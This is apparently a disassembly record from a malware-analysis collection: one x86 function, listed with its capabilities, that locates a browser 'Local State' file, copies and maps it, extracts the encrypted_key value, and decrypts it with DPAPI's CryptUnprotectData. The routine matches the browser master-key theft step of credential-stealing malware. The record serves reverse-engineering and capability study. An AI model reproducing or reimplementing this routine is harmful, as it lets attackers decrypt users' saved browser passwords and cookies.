Function at 0x441df6
Capabilities:
Copy file
Delete file
Encrypt data using dpapi
Get common file path
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc394
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x18]
mov ecx, dword [ebp + 0x10]
mov esi, str._encrypted_key_:
push eax
lea eax, [ebp - 0x2728]
mov dword [ebp - 0xc380], ecx
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc384], ecx
mov dword [ebp - 0xc370], ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, 0x2710
push edi
push eax
call fcn.006494f3
lea eax, [ebp - 0x2728]
push 0x5c
push eax
call fcn.00639770
mov esi, eax
add esp, 0x14
test esi, esi
je 0x44214f
push str.Local_State
lea eax, [ebp - 0x2728]
mov byte [esi + 1], bl
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0x2728]
call fcn.00405670
test eax, eax
jne 0x441ed4
lea eax, [ebp - 0x2728]
mov byte [esi], bl
push 0x5c
push eax
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x44214f
push str.Local_State
mov byte [eax + 1], bl
lea eax, [ebp - 0x2728]
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0x2728]
call fcn.00405670
test eax, eax
je 0x44214f
lea eax, [ebp - 0xc368]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00649307
push eax
push str.tmp_xa_br_keyfile_
lea eax, [ebp - 0xc368]
push eax
push str._s_s_d
lea eax, [ebp - 0x7548]
push edi
push eax
call fcn.00402e0a
add esp, 0x18
lea eax, [ebp - 0x7548]
push ebx
push eax
lea eax, [ebp - 0x2728]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x441f32
call esi
lea eax, [ebp - 0x2728]
jmp 0x441f38
lea eax, [ebp - 0x7548]
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x441f59
call esi
jmp 0x442103
push ebx
push ebx
push ebx
push 2
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
mov dword [ebp - 0xc36c], ebx
test ebx, ebx
jne 0x441f79
call esi
jmp 0x4420ff
xor eax, eax
push eax
push eax
push eax
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc374], eax
test eax, eax
jne 0x441f98
call esi
jmp 0x4420f8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x441fad
call esi
jmp 0x4420ec
and dword [ebp - 0xc370], 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc374]
call fcn.00639500
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x4420e6
lea eax, [ebp - 0x18]
push eax
call fcn.00643470
add ebx, eax
push 0x22
push ebx
call fcn.006393d0
add esp, 0xc
mov dword [ebp - 0xc378], eax
test eax, eax
je 0x4420e6
inc eax
push 0x22
push eax
mov dword [ebp - 0xc37c], eax
call fcn.006393d0
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x4420e6
sub ebx, dword [ebp - 0xc378]
lea eax, [ebp - 0x4e37]
push 0x270f
push 0
push eax
dec ebx
mov byte [ebp - 0x4e38], 0
call fcn.006390b0
push ebx
push dword [ebp - 0xc37c]
lea eax, [ebp - 0x4e38]
push eax
call fcn.00638b30
add esp, 0x18
cmp ebx, 0x2710
jae 0x442162
push ecx
lea edx, [ebp - 0x9c58]
mov byte [ebp + ebx - 0x4e38], 0
lea ecx, [ebp - 0x4e38]
call fcn.004020b3
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4420e6
push str.DPAPI
call fcn.00643470
push eax
lea eax, [ebp - 0x9c58]
push str.DPAPI
push eax
call fcn.00639b07
add esp, 0x10
test eax, eax
jne 0x4420e6
push str.DPAPI
call fcn.00643470
lea ecx, [ebp - 0x9c58]
mov dword [esp], str.DPAPI
add eax, ecx
mov dword [ebp - 0xc390], eax
call fcn.00643470
sub ebx, eax
lea eax, [ebp - 0xc38c]
pop ecx
push eax
mov dword [ebp - 0xc394], ebx
xor eax, eax
xor ebx, ebx
inc ebx
push ebx
push eax
push eax
push eax
push eax
lea eax, [ebp - 0xc394]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x44211f
call esi
mov ebx, dword [ebp - 0xc36c]
push dword [ebp - 0xc374]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x44210a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x7548]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xc370]
jmp 0x442151
push dword [ebp - 0xc38c]
push dword [ebp - 0xc388]
push dword [ebp - 0xc380]
call fcn.00638b30
mov ecx, dword [ebp - 0xc384]
add esp, 0xc
mov eax, dword [ebp - 0xc38c]
mov dword [ebp - 0xc370], ebx
mov dword [ecx], eax
jmp 0x4420e6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 0x10
call fcn.00612782
int3